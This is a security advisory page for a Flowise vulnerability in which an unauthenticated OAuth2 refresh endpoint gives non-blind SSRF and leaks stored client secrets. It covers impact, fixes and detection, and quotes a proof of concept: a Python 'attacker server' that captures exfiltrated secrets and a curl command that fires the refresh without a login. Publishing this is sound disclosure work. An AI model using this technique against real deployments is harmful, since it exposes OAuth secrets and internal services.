NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2026-69250: Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

highCVSS 4.0 8.5GHSA-r745-8hwv-h473

Flowise exposes `POST /api/v1/oauth2-credential/refresh/:credentialId` without authentication. The handler posts to the credential's `accessTokenUrl` with no SSRF protection, sends the stored `client_secret` and `refresh_token` to that URL, and returns the response body to the caller. Flowise 3.1.2 and earlier are affected. Upgrade to 3.1.3.

Published Aug 4, 2026 · Analysis Nov 1, 2026

What an attacker can do

The refresh route sits in the auth middleware's public whitelist, which matches paths with req.path.startsWith(url). The handler loads the credential by ID, decrypts it, reads accessTokenUrl, and calls axios.post directly. It does not use the secureAxiosRequest() wrapper that other paths use. The reply includes a tokenInfo object built from the remote response.

Two roles are involved. An authenticated user who can create or update OAuth2 credentials sets accessTokenUrl to a server they control or to an internal address. Anyone who knows the credential UUID can then fire the refresh with a plain curl, no login.

In the reporter's test against the flowiseai/flowise container, the attacker server received client_id, client_secret, grant_type=refresh_token and refresh_token in the POST body. The caller got the attacker server's JSON back in tokenInfo. Because the response is reflected, this is a non-blind SSRF. On cloud hosts it can reach metadata or internal services, depending on egress controls. The vector requires high privileges, so the gain is mainly for users who hold credential-edit rights but not wider access, plus the unauthenticated trigger.

Who is affected

The flowise npm package, 3.1.2 and earlier. The advisory tested the flowiseai/flowise:latest container. Check your install:

npm ls flowise

For containers, check the image tag or the version in the Flowise UI. Any instance with OAuth2 credentials and a network-reachable API is in scope.

flowise

Ecosystem
npm
Affected
<= 3.1.2
Fixed in
3.1.3
Check
npm ls flowise

How to fix it

Upgrade to flowise 3.1.3:

npm install -g [email protected]

The 3.1.3 release notes list an OAuth2 fix among many security-related changes but do not describe it, so the exact mechanism is not confirmed in the sources read. The advisory gives no workaround. Until you upgrade, review OAuth2 credentials for odd accessTokenUrl values, restrict who can create or edit credentials, and block outbound traffic from Flowise to internal ranges and metadata addresses.

How to tell if you were hit

Review every OAuth2 credential's token URL and flag any pointing at hosts that are not the provider's real token endpoint, or at private or link-local addresses. Search access logs for POST /api/v1/oauth2-credential/refresh/ from clients that are not your own, especially without a session or API key. Check egress logs from the Flowise host for POSTs to unfamiliar hosts with a /token style path. If you find a match, rotate the client_secret and refresh token of the affected credential.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist
  2. dist/utils/constants.js includes:
  3. /api/v1/oauth2-credential/callback
  4. /api/v1/oauth2-credential/refresh
  5. dist/index.js auth middleware uses:
  6. const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
  7. Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  1. User-controlled SSRF target
  2. In refresh handler (dist/routes/oauth2/index.js):
  3. loads credential by credentialId
  4. decrypts credential data
  5. reads accessTokenUrl
  6. executes:
  7. axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
  8. No secureAxiosRequest() / denylist wrapper is used in this path.
  1. Non-blind response reflection
  2. Response returns:
  3. tokenInfo: { ...tokenData, ... }
  4. tokenData is the attacker/internal server response body.
  1. Secrets sent to SSRF target
  2. Request body includes:
  3. client_id
  4. client_secret
  5. grant_type=refresh_token
  6. refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
  • outbound SSRF to attacker/internal targets,
  • direct leak of client_secret and refresh_token to SSRF target,
  • direct response read from target via API response (tokenInfo).
  • Deployment impact:
  • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Credited to b-hermes.

Questions

Does an attacker need an account to exploit this?

To set the malicious token URL, yes: credential create or update rights are needed. To trigger the refresh and read the reply, no. The route is whitelisted and needs only a valid credential UUID.

What does the attacker gain?

The OAuth2 client_secret and refresh_token arrive in the request body at the attacker's URL. The response from any internal URL they choose is returned in tokenInfo, so they can read internal HTTP services.

Which Flowise version fixes GHSA-r745-8hwv-h473?

3.1.3. Versions up to and including 3.1.2 are listed as vulnerable.

Is it exploited in the wild?

No source reports exploitation, and it is not in CISA's KEV catalog. The advisory includes a reproducible proof of concept.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries